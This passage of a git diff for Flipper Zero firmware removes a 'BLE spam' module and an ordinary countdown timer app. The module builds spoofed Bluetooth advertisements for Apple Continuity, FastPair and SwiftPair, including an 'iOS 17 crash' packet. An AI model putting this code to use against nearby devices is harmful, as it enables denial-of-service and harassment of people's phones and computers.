furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
|
||||||
i += 3;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
case ContinuityTypeNearbyInfo: {
|
|
||||||
packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
|
|
||||||
packet[i++] = (rand() % 256); // Status Flags
|
|
||||||
packet[i++] = (rand() % 256); // Authentication Tag
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
case ContinuityTypeCustomCrash: {
|
|
||||||
// Found by @ECTO-1A
|
|
||||||
|
|
||||||
const uint8_t actions[] = {
|
|
||||||
0x13, // AppleTV AutoFill
|
|
||||||
0x27, // AppleTV Connecting...
|
|
||||||
0x20, // Join This AppleTV?
|
|
||||||
0x19, // AppleTV Audio Sync
|
|
||||||
0x1E, // AppleTV Color Balance
|
|
||||||
0x09, // Setup New iPhone
|
|
||||||
0x02, // Transfer Phone Number
|
|
||||||
0x0B, // HomePod Setup
|
|
||||||
0x01, // Setup New AppleTV
|
|
||||||
0x06, // Pair AppleTV
|
|
||||||
0x0D, // HomeKit AppleTV Setup
|
|
||||||
0x2B, // AppleID for AppleTV?
|
|
||||||
};
|
|
||||||
uint8_t action = actions[rand() % COUNT_OF(actions)];
|
|
||||||
|
|
||||||
uint8_t flag = 0xC0;
|
|
||||||
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
|
|
||||||
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
|
|
||||||
|
|
||||||
i -= 2; // Override segment header
|
|
||||||
packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
|
|
||||||
packet[i++] = 0x05; // Continuity Size
|
|
||||||
packet[i++] = flag; // Action Flags
|
|
||||||
packet[i++] = action; // Action Type
|
|
||||||
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
|
||||||
i += 3;
|
|
||||||
|
|
||||||
packet[i++] = 0x00; // Terminator (?)
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
|
|
||||||
packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
|
|
||||||
furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
|
|
||||||
i += 3;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
*out_size = size;
|
|
||||||
*out_packet = packet;
|
|
||||||
}
|
|
||||||
|
|
||||||
const BleSpamProtocol ble_spam_protocol_continuity = {
|
|
||||||
.icon = &I_apple,
|
|
||||||
.get_name = continuity_get_name,
|
|
||||||
.make_packet = continuity_make_packet,
|
|
||||||
};
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include "_base.h"
|
|
||||||
|
|
||||||
// Hacked together by @Willy-JL
|
|
||||||
// iOS 17 Crash by @ECTO-1A
|
|
||||||
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
|
|
||||||
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
ContinuityTypeAirDrop = 0x05,
|
|
||||||
ContinuityTypeProximityPair = 0x07,
|
|
||||||
ContinuityTypeAirplayTarget = 0x09,
|
|
||||||
ContinuityTypeHandoff = 0x0C,
|
|
||||||
ContinuityTypeTetheringSource = 0x0E,
|
|
||||||
ContinuityTypeNearbyAction = 0x0F,
|
|
||||||
ContinuityTypeNearbyInfo = 0x10,
|
|
||||||
|
|
||||||
ContinuityTypeCustomCrash,
|
|
||||||
ContinuityTypeCount
|
|
||||||
} ContinuityType;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
ContinuityType type;
|
|
||||||
union {
|
|
||||||
struct {
|
|
||||||
uint8_t prefix;
|
|
||||||
uint16_t model;
|
|
||||||
} proximity_pair;
|
|
||||||
struct {
|
|
||||||
uint8_t flags;
|
|
||||||
uint8_t type;
|
|
||||||
} nearby_action;
|
|
||||||
} data;
|
|
||||||
} ContinuityMsg;
|
|
||||||
|
|
||||||
extern const BleSpamProtocol ble_spam_protocol_continuity;
|
|
||||||
@@ -1,68 +0,0 @@
|
|||||||
#include "fastpair.h"
|
|
||||||
#include "_registry.h"
|
|
||||||
|
|
||||||
// Hacked together by @Willy-JL and @Spooks4576
|
|
||||||
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
|
|
||||||
|
|
||||||
const char* fastpair_get_name(const BleSpamMsg* _msg) {
|
|
||||||
const FastpairMsg* msg = &_msg->fastpair;
|
|
||||||
UNUSED(msg);
|
|
||||||
return "FastPair";
|
|
||||||
}
|
|
||||||
|
|
||||||
void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
|
|
||||||
const FastpairMsg* msg = _msg ? &_msg->fastpair : NULL;
|
|
||||||
|
|
||||||
uint32_t model_id;
|
|
||||||
if(msg && msg->model_id != 0x000000) {
|
|
||||||
model_id = msg->model_id;
|
|
||||||
} else {
|
|
||||||
const uint32_t models[] = {
|
|
||||||
// Genuine devices
|
|
||||||
0xCD8256, // Bose NC 700
|
|
||||||
0xF52494, // JBL Buds Pro
|
|
||||||
0x718FA4, // JBL Live 300TWS
|
|
||||||
0x821F66, // JBL Flip 6
|
|
||||||
0x92BBBD, // Pixel Buds
|
|
||||||
|
|
||||||
// Custom debug popups
|
|
||||||
0xAA1FE1, // ClownMaster
|
|
||||||
0xAA187F, // VBucks
|
|
||||||
0xF38C02, // Boykisser
|
|
||||||
0x1448C9, // BLM
|
|
||||||
0xD5AB33, // Xtreme
|
|
||||||
0x13B39D, // Talking Sasquach
|
|
||||||
};
|
|
||||||
model_id = models[rand() % COUNT_OF(models)];
|
|
||||||
}
|
|
||||||
|
|
||||||
uint8_t size = 14;
|
|
||||||
uint8_t* packet = malloc(size);
|
|
||||||
uint8_t i = 0;
|
|
||||||
|
|
||||||
packet[i++] = 3; // Size
|
|
||||||
packet[i++] = 0x03; // AD Type (Service UUID List)
|
|
||||||
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
|
|
||||||
packet[i++] = 0xFE; // ...
|
|
||||||
|
|
||||||
packet[i++] = 6; // Size
|
|
||||||
packet[i++] = 0x16; // AD Type (Service Data)
|
|
||||||
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
|
|
||||||
packet[i++] = 0xFE; // ...
|
|
||||||
packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
|
|
||||||
packet[i++] = (model_id >> 0x08) & 0xFF; // ...
|
|
||||||
packet[i++] = (model_id >> 0x00) & 0xFF; // ...
|
|
||||||
|
|
||||||
packet[i++] = 2; // Size
|
|
||||||
packet[i++] = 0x0A; // AD Type (Tx Power Level)
|
|
||||||
packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
|
|
||||||
|
|
||||||
*out_size = size;
|
|
||||||
*out_packet = packet;
|
|
||||||
}
|
|
||||||
|
|
||||||
const BleSpamProtocol ble_spam_protocol_fastpair = {
|
|
||||||
.icon = &I_android,
|
|
||||||
.get_name = fastpair_get_name,
|
|
||||||
.make_packet = fastpair_make_packet,
|
|
||||||
};
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include "_base.h"
|
|
||||||
|
|
||||||
// Hacked together by @Willy-JL and @Spooks4576
|
|
||||||
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
uint32_t model_id;
|
|
||||||
} FastpairMsg;
|
|
||||||
|
|
||||||
extern const BleSpamProtocol ble_spam_protocol_fastpair;
|
|
||||||
@@ -1,54 +0,0 @@
|
|||||||
#include "swiftpair.h"
|
|
||||||
#include "_registry.h"
|
|
||||||
|
|
||||||
// Hacked together by @Willy-JL and @Spooks4576
|
|
||||||
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
|
|
||||||
|
|
||||||
const char* swiftpair_get_name(const BleSpamMsg* _msg) {
|
|
||||||
const SwiftpairMsg* msg = &_msg->swiftpair;
|
|
||||||
UNUSED(msg);
|
|
||||||
return "SwiftPair";
|
|
||||||
}
|
|
||||||
|
|
||||||
void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
|
|
||||||
const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL;
|
|
||||||
|
|
||||||
const char* display_name;
|
|
||||||
if(msg && msg->display_name[0] != '\0') {
|
|
||||||
display_name = msg->display_name;
|
|
||||||
} else {
|
|
||||||
const char* names[] = {
|
|
||||||
"Assquach💦",
|
|
||||||
"Flipper 🐬",
|
|
||||||
"iOS 17 🍎",
|
|
||||||
"Kink💦",
|
|
||||||
"👉👌",
|
|
||||||
"🔵🦷",
|
|
||||||
};
|
|
||||||
display_name = names[rand() % COUNT_OF(names)];
|
|
||||||
}
|
|
||||||
uint8_t display_name_len = strlen(display_name);
|
|
||||||
|
|
||||||
uint8_t size = 7 + display_name_len;
|
|
||||||
uint8_t* packet = malloc(size);
|
|
||||||
uint8_t i = 0;
|
|
||||||
|
|
||||||
packet[i++] = size - 1; // Size
|
|
||||||
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
|
|
||||||
packet[i++] = 0x06; // Company ID (Microsoft)
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x03; // Microsoft Beacon ID
|
|
||||||
packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
|
|
||||||
packet[i++] = 0x80; // Reserved RSSI Byte
|
|
||||||
memcpy(&packet[i], display_name, display_name_len); // Display Name
|
|
||||||
i += display_name_len;
|
|
||||||
|
|
||||||
*out_size = size;
|
|
||||||
*out_packet = packet;
|
|
||||||
}
|
|
||||||
|
|
||||||
const BleSpamProtocol ble_spam_protocol_swiftpair = {
|
|
||||||
.icon = &I_windows,
|
|
||||||
.get_name = swiftpair_get_name,
|
|
||||||
.make_packet = swiftpair_make_packet,
|
|
||||||
};
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include "_base.h"
|
|
||||||
|
|
||||||
// Hacked together by @Willy-JL and @Spooks4576
|
|
||||||
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
char display_name[25];
|
|
||||||
} SwiftpairMsg;
|
|
||||||
|
|
||||||
extern const BleSpamProtocol ble_spam_protocol_swiftpair;
|
|
||||||
71
applications/external/cntdown_timer/app.c
vendored
@@ -1,71 +0,0 @@
|
|||||||
#include "views/countdown_view.h"
|
|
||||||
#include "app.h"
|
|
||||||
|
|
||||||
static void register_view(ViewDispatcher* dispatcher, View* view, uint32_t viewid);
|
|
||||||
|
|
||||||
int32_t app_main(void* p) {
|
|
||||||
UNUSED(p);
|
|
||||||
|
|
||||||
CountDownTimerApp* app = countdown_app_new();
|
|
||||||
|
|
||||||
countdown_app_run(app);
|
|
||||||
|
|
||||||
countdown_app_delete(app);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static uint32_t view_exit(void* ctx) {
|
|
||||||
furi_assert(ctx);
|
|
||||||
|
|
||||||
return VIEW_NONE;
|
|
||||||
}
|
|
||||||
|
|
||||||
CountDownTimerApp* countdown_app_new(void) {
|
|
||||||
CountDownTimerApp* app = (CountDownTimerApp*)(malloc(sizeof(CountDownTimerApp)));
|
|
||||||
|
|
||||||
// 1.1 open gui
|
|
||||||
app->gui = furi_record_open(RECORD_GUI);
|
|
||||||
|
|
||||||
// 2.1 setup view dispatcher
|
|
||||||
app->view_dispatcher = view_dispatcher_alloc();
|
|
||||||
view_dispatcher_enable_queue(app->view_dispatcher);
|
|
||||||
|
|
||||||
// 2.2 attach view dispatcher to gui
|
|
||||||
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
|
||||||
|
|
||||||
// 2.3 attach views to the dispatcher
|
|
||||||
// helloworld view
|
|
||||||
app->helloworld_view = countdown_timer_view_new();
|
|
||||||
register_view(app->view_dispatcher, countdown_timer_view_get_view(app->helloworld_view), 0xff);
|
|
||||||
|
|
||||||
// 2.5 switch to default view
|
|
||||||
view_dispatcher_switch_to_view(app->view_dispatcher, 0xff);
|
|
||||||
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
void countdown_app_delete(CountDownTimerApp* app) {
|
|
||||||
furi_assert(app);
|
|
||||||
|
|
||||||
// delete views
|
|
||||||
view_dispatcher_remove_view(app->view_dispatcher, 0xff);
|
|
||||||
countdown_timer_view_delete(app->helloworld_view); // hello world view
|
|
||||||
|
|
||||||
// delete view dispatcher
|
|
||||||
view_dispatcher_free(app->view_dispatcher);
|
|
||||||
furi_record_close(RECORD_GUI);
|
|
||||||
|
|
||||||
// self
|
|
||||||
free(app);
|
|
||||||
}
|
|
||||||
|
|
||||||
void countdown_app_run(CountDownTimerApp* app) {
|
|
||||||
view_dispatcher_run(app->view_dispatcher);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void register_view(ViewDispatcher* dispatcher, View* view, uint32_t viewid) {
|
|
||||||
view_dispatcher_add_view(dispatcher, viewid, view);
|
|
||||||
|
|
||||||
view_set_previous_callback(view, view_exit);
|
|
||||||
}
|
|
||||||
22
applications/external/cntdown_timer/app.h
vendored
@@ -1,22 +0,0 @@
|
|||||||
#ifndef __APP_H__
|
|
||||||
#define __APP_H__
|
|
||||||
|
|
||||||
#include <furi.h>
|
|
||||||
#include <gui/gui.h>
|
|
||||||
#include <gui/view_dispatcher.h>
|
|
||||||
|
|
||||||
// app
|
|
||||||
typedef struct {
|
|
||||||
Gui* gui; // gui object
|
|
||||||
ViewDispatcher* view_dispatcher; // view dispacther of the gui
|
|
||||||
|
|
||||||
// views
|
|
||||||
CountDownTimView* helloworld_view;
|
|
||||||
|
|
||||||
} CountDownTimerApp;
|
|
||||||
|
|
||||||
CountDownTimerApp* countdown_app_new(void);
|
|
||||||
void countdown_app_delete(CountDownTimerApp* app);
|
|
||||||
void countdown_app_run(CountDownTimerApp* app);
|
|
||||||
|
|
||||||
#endif
|
|
||||||
@@ -1,19 +0,0 @@
|
|||||||
# qv. https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/AppManifests.md
|
|
||||||
|
|
||||||
App(
|
|
||||||
appid="cntdown_tim",
|
|
||||||
name="Count Down Timer",
|
|
||||||
apptype=FlipperAppType.EXTERNAL,
|
|
||||||
entry_point="app_main",
|
|
||||||
cdefines=["APP_COUNT_DOWN_TIMER"],
|
|
||||||
requires=[
|
|
||||||
"gui",
|
|
||||||
],
|
|
||||||
stack_size=2 * 1024,
|
|
||||||
fap_icon="cntdown_timer.png",
|
|
||||||
fap_category="Tools",
|
|
||||||
fap_author="@0w0mewo",
|
|
||||||
fap_weburl="https://github.com/0w0mewo/fpz_cntdown_timer",
|
|
||||||
fap_version="1.1",
|
|
||||||
fap_description="Simple count down timer",
|
|
||||||
)
|
|
||||||
|
Before Width: | Height: | Size: 306 B |
@@ -1,34 +0,0 @@
|
|||||||
#include <furi.h>
|
|
||||||
#include "utils.h"
|
|
||||||
|
|
||||||
static const NotificationSequence sequence_beep = {
|
|
||||||
&message_blue_255,
|
|
||||||
&message_note_d5,
|
|
||||||
&message_delay_100,
|
|
||||||
&message_sound_off,
|
|
||||||
|
|
||||||
NULL,
|
|
||||||
};
|
|
||||||
|
|
||||||
void notification_beep_once() {
|
|
||||||
notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_beep);
|
|
||||||
notification_off();
|
|
||||||
}
|
|
||||||
|
|
||||||
void notification_off() {
|
|
||||||
furi_record_close(RECORD_NOTIFICATION);
|
|
||||||
}
|
|
||||||
|
|
||||||
void notification_timeup() {
|
|
||||||
notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_audiovisual_alert);
|
|
||||||
}
|
|
||||||
|
|
||||||
void parse_sec_to_time_str(char* buffer, size_t len, int32_t sec) {
|
|
||||||
snprintf(
|
|
||||||
buffer,
|
|
||||||
len,
|
|
||||||
"%02ld:%02ld:%02ld",
|
|
||||||
(sec % (60 * 60 * 24)) / (60 * 60), // hour
|
|
||||||
(sec % (60 * 60)) / 60, // minute
|
|
||||||
sec % 60); // second
|
|
||||||
}
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
#ifndef __UTILS_H__
|
|
||||||
#define __UTILS_H__
|
|
||||||
#include <furi.h>
|
|
||||||
#include <notification/notification_messages.h>
|
|
||||||
|
|
||||||
void notification_beep_once();
|
|
||||||
void notification_off();
|
|
||||||
void notification_timeup();
|
|
||||||
|
|
||||||
void parse_sec_to_time_str(char* buffer, size_t len, int32_t sec);
|
|
||||||
|
|
||||||
#endif // __UTILS_H__
|
|
||||||
@@ -1,349 +0,0 @@
|
|||||||
#include "countdown_view.h"
|
|
||||||
#include "../utils/utils.h"
|
|
||||||
|
|
||||||
// internal
|
|
||||||
static void handle_misc_cmd(CountDownTimView* hw, CountDownViewCmd cmd);
|
|
||||||
static void handle_time_setting_updown(CountDownTimView* cdv, CountDownViewCmd cmd);
|
|
||||||
static void handle_time_setting_select(InputKey key, CountDownTimView* cdv);
|
|
||||||
static void draw_selection(Canvas* canvas, CountDownViewSelect selection);
|
|
||||||
|
|
||||||
static void countdown_timer_start_counting(CountDownTimView* cdv);
|
|
||||||
static void countdown_timer_pause_counting(CountDownTimView* cdv);
|
|
||||||
|
|
||||||
// callbacks
|
|
||||||
static void countdown_timer_view_on_enter(void* ctx);
|
|
||||||
static void countdown_timer_view_on_draw(Canvas* canvas, void* ctx);
|
|
||||||
static bool countdown_timer_view_on_input(InputEvent* event, void* ctx);
|
|
||||||
static void timer_cb(void* ctx);
|
|
||||||
|
|
||||||
CountDownTimView* countdown_timer_view_new() {
|
|
||||||
CountDownTimView* cdv = (CountDownTimView*)(malloc(sizeof(CountDownTimView)));
|
|
||||||
|
|
||||||
cdv->view = view_alloc();
|
|
||||||
|
|
||||||
cdv->timer = furi_timer_alloc(timer_cb, FuriTimerTypePeriodic, cdv);
|
|
||||||
|
|
||||||
cdv->counting = false;
|
|
||||||
|
|
||||||
view_set_context(cdv->view, cdv);
|
|
||||||
|
|
||||||
view_allocate_model(cdv->view, ViewModelTypeLocking, sizeof(CountDownModel));
|
|
||||||
|
|
||||||
view_set_draw_callback(cdv->view, countdown_timer_view_on_draw);
|
|
||||||
view_set_input_callback(cdv->view, countdown_timer_view_on_input);
|
|
||||||
view_set_enter_callback(cdv->view, countdown_timer_view_on_enter);
|
|
||||||
|
|
||||||
return cdv;
|
|
||||||
}
|
|
||||||
|
|
||||||
void countdown_timer_view_delete(CountDownTimView* cdv) {
|
|
||||||
furi_assert(cdv);
|
|
||||||
|
|
||||||
view_free(cdv->view);
|
|
||||||
furi_timer_stop(cdv->timer);
|
|
||||||
furi_timer_free(cdv->timer);
|
|
||||||
|
|
||||||
free(cdv);
|
|
||||||
}
|
|
||||||
|
|
||||||
View* countdown_timer_view_get_view(CountDownTimView* cdv) {
|
|
||||||
return cdv->view;
|
|
||||||
}
|
|
||||||
|
|
||||||
void countdown_timer_view_state_reset(CountDownTimView* cdv) {
|
|
||||||
cdv->counting = false;
|
|
||||||
|
|
||||||
with_view_model(
|
|
||||||
cdv->view, CountDownModel * model, { model->count = model->saved_count_setting; }, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
void countdown_timer_state_toggle(CountDownTimView* cdv) {
|
|
||||||
bool on = cdv->counting;
|
|
||||||
if(!on) {
|
|
||||||
countdown_timer_start_counting(cdv);
|
|
||||||
} else {
|
|
||||||
countdown_timer_pause_counting(cdv);
|
|
||||||
}
|
|
||||||
|
|
||||||
cdv->counting = !on;
|
|
||||||
}
|
|
||||||
|
|
||||||
// on enter callback, CountDownTimView as ctx
|
|
||||||
static void countdown_timer_view_on_enter(void* ctx) {
|
|
||||||
furi_assert(ctx);
|
|
||||||
|
|
||||||
CountDownTimView* cdv = (CountDownTimView*)ctx;
|
|
||||||
|
|
||||||
// set current count to a initial value
|
|
||||||
with_view_model(
|
|
||||||
cdv->view,
|
|
||||||
CountDownModel * model,
|
|
||||||
{
|
|
||||||
model->count = INIT_COUNT;
|
|
||||||
model->saved_count_setting = INIT_COUNT;
|
|
||||||
},
|
|
||||||
true);
|
|
||||||
}
|
|
||||||
|
|
||||||
// view draw callback, CountDownModel as ctx
|
|
||||||
static void countdown_timer_view_on_draw(Canvas* canvas, void* ctx) {
|
|
||||||
furi_assert(ctx);
|
|
||||||
CountDownModel* model = (CountDownModel*)ctx;
|
|
||||||
|
|
||||||
char buffer[64];
|
|
||||||
|
|
||||||
int32_t count = model->count;
|
|
||||||
int32_t expected_count = model->saved_count_setting;
|
|
||||||
|
|
||||||
CountDownViewSelect select = model->select;
|
|
||||||
|
|
||||||
// elements_frame(canvas, 0, 0, SCREEN_WIDTH, SCREEN_HEIGHT);
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontBigNumbers);
|
|
||||||
draw_selection(canvas, select);
|
|
||||||
|
|
||||||
parse_sec_to_time_str(buffer, sizeof(buffer), count);
|
|
||||||
canvas_draw_str_aligned(
|
|
||||||
canvas, SCREEN_CENTER_X, SCREEN_CENTER_Y, AlignCenter, AlignCenter, buffer);
|
|
||||||
|
|
||||||
elements_progress_bar(canvas, 0, 0, SCREEN_WIDTH, (1.0 * count / expected_count));
|
|
||||||
}
|
|
||||||
|
|
||||||
// keys input event callback, CountDownTimView as ctx
|
|
||||||
static bool countdown_timer_view_on_input(InputEvent* event, void* ctx) {
|
|
||||||
furi_assert(ctx);
|
|
||||||
|
|
||||||
CountDownTimView* hw = (CountDownTimView*)ctx;
|
|
||||||
|
|
||||||
if(event->type == InputTypeShort || event->type == InputTypeRepeat) {
|
|
||||||
switch(event->key) {
|
|
||||||
case InputKeyUp:
|
|
||||||
case InputKeyDown:
|
|
||||||
case InputKeyRight:
|
|
||||||
case InputKeyLeft:
|
|
||||||
handle_time_setting_select(event->key, hw);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case InputKeyOk:
|
|
||||||
if(event->type == InputTypeShort) {
|
|
||||||
handle_misc_cmd(hw, CountDownTimerToggleCounting);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case InputKeyBack:
|
|
||||||
return false;
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(event->type == InputTypeLong) {
|
|
||||||
switch(event->key) {
|
|
||||||
case InputKeyOk:
|
|
||||||
handle_misc_cmd(hw, CountDownTimerReset);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case InputKeyBack:
|
|
||||||
return false;
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void timer_cb(void* ctx) {
|
|
||||||
furi_assert(ctx);
|
|
||||||
|
|
||||||
CountDownTimView* cdv = (CountDownTimView*)ctx;
|
|
||||||
|
|
||||||
int32_t count;
|
|
||||||
bool timeup = false;
|
|
||||||
|
|
||||||
// decrement counter
|
|
||||||
with_view_model(
|
|
||||||
cdv->view,
|
|
||||||
CountDownModel * model,
|
|
||||||
{
|
|
||||||
count = model->count;
|
|
||||||
count--;
|
|
||||||
|
|
||||||
// check timeup
|
|
||||||
if(count <= 0) {
|
|
||||||
count = 0;
|
|
||||||
timeup = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
model->count = count;
|
|
||||||
},
|
|
||||||
true);
|
|
||||||
|
|
||||||
if(timeup) {
|
|
||||||
handle_misc_cmd(cdv, CountDownTimerTimeUp);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void handle_time_setting_updown(CountDownTimView* cdv, CountDownViewCmd cmd) {
|
|
||||||
int32_t count;
|
|
||||||
|
|
||||||
with_view_model(
|
|
||||||
cdv->view,
|
|
||||||
CountDownModel * model,
|
|
||||||
{
|
|
||||||
count = model->count;
|
|
||||||
switch(cmd) {
|
|
||||||
case CountDownTimerMinuteUp:
|
|
||||||
count += 60;
|
|
||||||
break;
|
|
||||||
case CountDownTimerMinuteDown:
|
|
||||||
count -= 60;
|
|
||||||
break;
|
|
||||||
case CountDownTimerHourDown:
|
|
||||||
count -= 3600;
|
|
||||||
break;
|
|
||||||
case CountDownTimerHourUp:
|
|
||||||
count += 3600;
|
|
||||||
break;
|
|
||||||
case CountDownTimerSecUp:
|
|
||||||
count++;
|
|
||||||
break;
|
|
||||||
case CountDownTimerSecDown:
|
|
||||||
count--;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(count < 0) {
|
|
||||||
count = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// update count state
|
|
||||||
model->count = count;
|
|
||||||
|
|
||||||
// save the count time setting
|
|
||||||
model->saved_count_setting = count;
|
|
||||||
},
|
|
||||||
true);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void handle_misc_cmd(CountDownTimView* hw, CountDownViewCmd cmd) {
|
|
||||||
switch(cmd) {
|
|
||||||
case CountDownTimerTimeUp:
|
|
||||||
notification_timeup();
|
|
||||||
break;
|
|
||||||
|
|
||||||
case CountDownTimerReset:
|
|
||||||
furi_timer_stop(hw->timer);
|
|
||||||
countdown_timer_view_state_reset(hw);
|
|
||||||
notification_off();
|
|
||||||
|
|
||||||
break;
|
|
||||||
|
|
||||||
case CountDownTimerToggleCounting:
|
|
||||||
countdown_timer_state_toggle(hw);
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void handle_time_setting_select(InputKey key, CountDownTimView* cdv) {
|
|
||||||
bool counting = cdv->counting;
|
|
||||||
CountDownViewCmd setting_cmd = CountDownTimerSecUp;
|
|
||||||
CountDownViewSelect selection;
|
|
||||||
|
|
||||||
if(counting) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// load current selection from model context
|
|
||||||
with_view_model(
|
|
||||||
cdv->view, CountDownModel * model, { selection = model->select; }, false);
|
|
||||||
|
|
||||||
// select
|
|
||||||
switch(key) {
|
|
||||||
case InputKeyUp:
|
|
||||||
switch(selection) {
|
|
||||||
case CountDownTimerSelectSec:
|
|
||||||
setting_cmd = CountDownTimerSecUp;
|
|
||||||
break;
|
|
||||||
case CountDownTimerSelectMinute:
|
|
||||||
setting_cmd = CountDownTimerMinuteUp;
|
|
||||||
break;
|
|
||||||
case CountDownTimerSelectHour:
|
|
||||||
setting_cmd = CountDownTimerHourUp;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
handle_time_setting_updown(cdv, setting_cmd);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case InputKeyDown:
|
|
||||||
switch(selection) {
|
|
||||||
case CountDownTimerSelectSec:
|
|
||||||
setting_cmd = CountDownTimerSecDown;
|
|
||||||
break;
|
|
||||||
case CountDownTimerSelectMinute:
|
|
||||||
setting_cmd = CountDownTimerMinuteDown;
|
|
||||||
break;
|
|
||||||
case CountDownTimerSelectHour:
|
|
||||||
setting_cmd = CountDownTimerHourDown;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
handle_time_setting_updown(cdv, setting_cmd);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case InputKeyRight:
|
|
||||||
selection--;
|
|
||||||
selection = selection % 3;
|
|
||||||
break;
|
|
||||||
|
|
||||||
case InputKeyLeft:
|
|
||||||
selection++;
|
|
||||||
selection = selection % 3;
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// save selection to model context
|
|
||||||
with_view_model(
|
|
||||||
cdv->view, CountDownModel * model, { model->select = selection; }, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void draw_selection(Canvas* canvas, CountDownViewSelect selection) {
|
|
||||||
switch(selection) {
|
|
||||||
case CountDownTimerSelectSec:
|
|
||||||
elements_slightly_rounded_box(canvas, SCREEN_CENTER_X + 25, SCREEN_CENTER_Y + 11, 24, 2);
|
|
||||||
break;
|
|
||||||
case CountDownTimerSelectMinute:
|
|
||||||
elements_slightly_rounded_box(canvas, SCREEN_CENTER_X - 10, SCREEN_CENTER_Y + 11, 21, 2);
|
|
||||||
break;
|
|
||||||
case CountDownTimerSelectHour:
|
|
||||||
elements_slightly_rounded_box(canvas, SCREEN_CENTER_X - 47, SCREEN_CENTER_Y + 11, 24, 2);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void countdown_timer_start_counting(CountDownTimView* cdv) {
|
|
||||||
furi_timer_start(cdv->timer, furi_kernel_get_tick_frequency() * 1); // 1s
|
|
||||||
}
|
|
||||||
|
|
||||||
static void countdown_timer_pause_counting(CountDownTimView* cdv) {
|
|
||||||
furi_timer_stop(cdv->timer);
|
|
||||||
notification_off();
|
|
||||||
}
|
|
||||||
@@ -1,59 +0,0 @@
|
|||||||
#ifndef __COUNTDOWN_VIEW_H__
|
|
||||||
#define __COUNTDOWN_VIEW_H__
|
|
||||||
|
|
||||||
#include <furi.h>
|
|
